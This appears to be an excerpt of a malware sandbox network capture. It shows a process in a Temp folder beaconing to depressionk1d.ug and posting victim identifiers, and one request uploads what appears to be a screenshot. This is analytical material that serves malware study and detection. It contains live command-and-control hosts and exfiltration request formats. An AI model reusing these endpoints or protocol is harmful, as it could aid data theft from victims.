Nov 12, 2021 22:24:10.052141905 CET	10604	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:10 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:10.052155018 CET	10604	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.4	50069	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:10.184468985 CET	10607	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:10.213953972 CET	10607	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:24:10.268330097 CET	10608	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:24:10.268608093 CET	10608	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:24:10.268991947 CET	10618	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:24:10.269248009 CET	10621	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:24:10.291610956 CET	10626	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:24:10.291687012 CET	10642	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:24:10.291727066 CET	10647	OUT	Data Raw: 1d c8 50 67 31 ec 90 15 65 23 95 c0 3f 74 0e 46 7d eb 95 8f 52 bf 8a dd ed e3 bd b9 48 5d 76 bc 6b 2b 05 61 e8 46 70 45 74 47 0d 2b dd b2 25 88 8d ac 91 56 92 8a 2b b4 e4 14 51 45 14 c0 2b e9 3f 83 cc bf f0 85 6d c8 dc 26 04 8f 63 1a 7f 81 af 9b Data Ascii: Pg1e#?tF}RH]vk+aFpEtG+%V+QE+?m&c+oK>\Xr;+c*G:5)vRK[_f}+/5KHlb}(z9rZa{6>(Ucw5<OAK')uU+/ts`
Nov 12, 2021 22:24:10.314282894 CET	10659	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:24:10.314321041 CET	10670	OUT	Data Raw: a4 20 a2 92 8a 00 70 3c 62 83 48 3a d2 9a 77 01 28 a5 e9 45 00 02 96 92 96 81 31 69 28 a2 98 87 0a 5a 41 4b 4c 1e e1 4b 8a 4a 5a 62 02 29 3b d2 d2 1a 00 05 38 50 28 a0 40 29 c2 9a 69 45 50 98 ea 28 a5 1d 69 88 51 4a 28 14 b4 d1 22 af a5 29 18 a4 Data Ascii: p<bH:w(E1i(ZAKLKJZb);8P(@)iEP(iQJ(")ykbDE XC8SH,()Bbu'Zx6\bLB)vRBQIR`$xQjRZh+Tbc\|LQVfKLRF(xN)Mpd=))H(
Nov 12, 2021 22:24:10.314338923 CET	10675	OUT	Data Raw: a8 66 88 72 f5 a7 e6 9a 29 d5 0c d1 0f 53 c5 79 17 c4 f0 16 f2 c7 1f f3 cd ff 00 f4 2a f5 b1 d4 d7 91 fc 4e 3f e9 d6 3f f5 c9 bf f4 2a d2 87 c4 45 53 c7 5a 35 63 92 29 04 29 e9 52 62 94 57 2f 2a 3d 2e 66 33 ca 5e 3d a9 db 17 76 71 cd 2d 19 a7 64 Data Ascii: fr)SyN??ESZ5c))RbW/=.f3^=vq-dbhN!] @7n4Z9P(t0hVBJ!@sE93Ri)c<DxJ)rc1(nqO ``PFFHD~D#KIF=*c4yIOvBx
Nov 12, 2021 22:24:10.314465046 CET	10686	OUT	Data Raw: 2b c0 6b dd be 03 de 5a da 78 7f 56 fb 4d cc 30 ee ba 5d be 6c 81 73 84 e7 19 ac 2b fc 06 b4 7e 23 9f ff 00 84 73 5c ff 00 a0 2e a3 ff 00 80 af fe 14 a3 c3 ba ea b0 61 a3 ea 40 83 90 45 ab f1 fa 57 bb ff 00 6c 69 9f f4 12 b3 ff 00 c0 84 ff 00 1a Data Ascii: +kZxVM0]ls+~#s\.a@EWliO/v_]U?Y'Wwe)IdePLmZ5EU?AK/O>2eT6u<KSjV:wwje;j@S%-4&wN5X%WxP2
Nov 12, 2021 22:24:10.361993074 CET	10717	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:10 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.4	50071	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:10.356167078 CET	10716	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:10.382844925 CET	10717	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.4	50073	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:10.514760017 CET	10719	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:10.540616035 CET	10719	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.4	50074	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:10.669621944 CET	10721	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:10.691987038 CET	10724	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:24:10 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:24:10.692003012 CET	10724	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.4	50076	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:10.853035927 CET	10726	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:10.880379915 CET	10726	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.4	50078	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:11.015224934 CET	10728	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:11.041621923 CET	10730	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.4	50080	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:24:11.176049948 CET	10731	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:24:11.202600956 CET	10732	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:24:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.4	49810	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
